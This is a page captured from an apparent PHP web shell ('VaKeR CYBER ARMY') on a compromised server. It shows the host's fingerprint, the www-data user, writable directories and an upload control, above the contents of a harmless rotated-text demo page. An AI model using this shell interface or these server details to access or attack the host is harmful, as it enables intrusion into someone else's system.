VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-acomp/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-acomp/demo/rotatedtext.html
<!DOCTYPE html>
<html>

<head>
    <title>RotatedText</title>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="https://absol.cf/hightlight/styles/default.css">
    <!-- <link rel="stylesheet" href="https://absol.cf/materialdesignicons/materialdesignicons.min.css"> -->
    <script src="../dist/absol-acomp.js?<?php  echo stat('../dist/absol-acomp.js')['mtime'];?>"></script>

    <script src="https://absol.cf/hightlight/highlight.pack.js"></script>

    <style>
        #demo1 {
            padding: 180px;
            border: 1px solid brown;
            display: inline-block;
        }

        #demo1-ctn {
            width: 250px;
            height: 250px;
            overflow: scroll;
        }

        #demo2 {
            padding: 50px;
            overflow: hidden;
            border-radius: 50%;
            border: 1px solid red;
            margin: 10vh;
            display: inline-block;
        }

        .your-custom-class {
            color: rgb(80, 90, 120);
            font-size: 20px;
            font-weight: bold;
        }

    </style>
</head>

<body>
<h1>Rotated Text</h1>
<div id="demo1-ctn">
    <div id="demo1"></div>
</div>

<div id="demo2"></div>
<script class="viewable">
    (function () {
        var _ = absol._;
        var $ = absol.$;
        var demo1 = $('#demo1')
        var demo2 = $('#demo2')
        _({
            tag: 'rotatedtext',
            style: {
                background: 'red'//show position
            },
            props: {
                text: 'conhecido de todos que',
                angle: '-40deg'
            }
        }).addTo(demo1);

        var rText2 = _({
            tag: 'rotatedtext',
            class: 'your-custom-class',
            props: {
                text: 'conhecido de todos que',
                angle: 45//or '45deg' or '1.57rad'
            }
        }).addTo(demo2);

        demo2.on({
            mousemove: function () {
                rText2.angle += 10;
            }
        })
    })()

</script>
</body>

</html>

VaKeR 2022